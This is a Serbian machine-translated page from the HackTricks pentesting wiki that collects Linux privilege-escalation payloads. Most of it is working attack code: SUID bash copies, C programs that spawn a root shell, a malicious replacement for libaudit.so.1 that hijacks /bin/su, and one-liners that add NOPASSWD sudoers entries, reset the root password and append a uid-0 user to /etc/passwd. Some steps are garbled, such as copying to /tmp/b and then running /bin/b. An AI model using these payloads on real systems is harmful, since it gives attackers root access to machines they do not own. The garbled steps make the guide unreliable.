hacktricks/linux-hardening/privilege-escalation/payloads-to-execute.md
2024-02-10 13:11:20 +00:00

8.6 KiB

Payloadi za izvršavanje

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Bash

cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu

Izvršavanje payloada

Kada je u pitanju izvršavanje payloada, postoje različite tehnike koje možete koristiti za postizanje privilegija. Ovde su neke od njih:

1. SUID/SGID programi

SUID (Set User ID) i SGID (Set Group ID) programi su programi koji se izvršavaju sa privilegijama vlasnika ili grupe. Možete iskoristiti ove programe kako biste izvršili payload sa privilegijama vlasnika ili grupe.

2. Cron poslovi

Cron poslovi su automatizovani zadaci koji se izvršavaju u određeno vreme ili periodično. Ako imate pristup cron poslovima, možete kreirati novi cron posao koji će izvršiti vaš payload.

3. Kernel eksploatacija

Ako pronađete ranjivost u kernelu, možete je iskoristiti kako biste dobili privilegije i izvršili payload.

4. Postavljanje backdoor naloga

Ako imate pristup sistemu, možete postaviti backdoor nalog sa privilegijama i izvršiti payload koristeći taj nalog.

5. Postavljanje reverse shell-a

Reverse shell vam omogućava da se povežete na ciljni sistem i izvršite payload sa udaljenog računara.

6. Exploiting Sudo

Ako imate pristup sudo privilegijama, možete iskoristiti ranjivosti u konfiguraciji sudo-a kako biste izvršili payload sa privilegijama.

7. Exploiting weak file permissions

Ako pronađete datoteke sa slabim dozvolama, možete ih iskoristiti kako biste izvršili payload sa privilegijama vlasnika datoteke.

8. Exploiting weak service configurations

Ako pronađete slabu konfiguraciju servisa, možete je iskoristiti kako biste izvršili payload sa privilegijama tog servisa.

9. Exploiting software vulnerabilities

Ako pronađete ranjivost u softveru koji se izvršava na ciljnom sistemu, možete je iskoristiti kako biste dobili privilegije i izvršili payload.

10. Exploiting misconfigurations

Ako pronađete greške u konfiguraciji sistema, možete ih iskoristiti kako biste dobili privilegije i izvršili payload.

//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}
//gcc payload.c -o payload
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main(){
setuid(getuid());
system("/bin/bash");
return 0;
}
// Privesc to user id: 1000
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}

Prepisivanje fajla radi eskalacije privilegija

Uobičajeni fajlovi

  • Dodaj korisnika sa lozinkom u /etc/passwd
  • Promeni lozinku unutar /etc/shadow
  • Dodaj korisnika u sudoers u /etc/sudoers
  • Zloupotrebi docker preko docker socket-a, obično u /run/docker.sock ili /var/run/docker.sock

Prepisivanje biblioteke

Proveri biblioteku koju koristi neki binarni fajl, u ovom slučaju /bin/su:

ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)

U ovom slučaju pokušajmo se predstaviti kao /lib/x86_64-linux-gnu/libaudit.so.1.
Dakle, provjerite funkcije ove biblioteke koje koristi su binarna datoteka:

objdump -T /bin/su | grep audit
0000000000000000      DF *UND*  0000000000000000              audit_open
0000000000000000      DF *UND*  0000000000000000              audit_log_user_message
0000000000000000      DF *UND*  0000000000000000              audit_log_acct_message
000000000020e968 g    DO .bss   0000000000000004  Base        audit_fd

Simboli audit_open, audit_log_acct_message, audit_log_acct_message i audit_fd verovatno potiču iz biblioteke libaudit.so.1. Pošto će libaudit.so.1 biti prebrisana zlonamernom deljenom bibliotekom, ovi simboli treba da budu prisutni u novoj deljenoj biblioteci, inače program neće moći da pronađe simbol i završiće izvršavanje.

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c

int audit_open;
int audit_log_acct_message;
int audit_log_user_message;
int audit_fd;

void inject()__attribute__((constructor));

void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

Sada, samo pozivajući /bin/su dobićete root shell.

Skripte

Možete li naterati root da izvrši nešto?

www-data u sudoers

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

Promena lozinke za root korisnika

sudo passwd root

Ova komanda omogućava promenu lozinke za root korisnika. Nakon izvršavanja komande, bićete upitani da unesete novu lozinku za root korisnika.

echo "root:hacked" | chpasswd

Dodavanje novog root korisnika u /etc/passwd

Da biste dodali novog root korisnika u datoteku /etc/passwd, pratite sledeće korake:

  1. Otvorite terminal i prijavite se kao root korisnik.

  2. Pokrenite sledeću komandu da biste otvorili /etc/passwd datoteku u uređivaču teksta:

    nano /etc/passwd
    
  3. U datoteci /etc/passwd, pronađite red koji sadrži informacije o root korisniku. Obično se nalazi na početku datoteke i izgleda slično ovome:

    root:x:0:0:root:/root:/bin/bash
    
  4. Kopirajte ovaj red i nalepite ga ispod originalnog reda.

  5. Promenite korisničko ime novog korisnika u željeni naziv.

  6. Sačuvajte izmene i zatvorite uređivač teksta.

Nakon ovih koraka, novi root korisnik će biti dodat u /etc/passwd datoteku.

echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!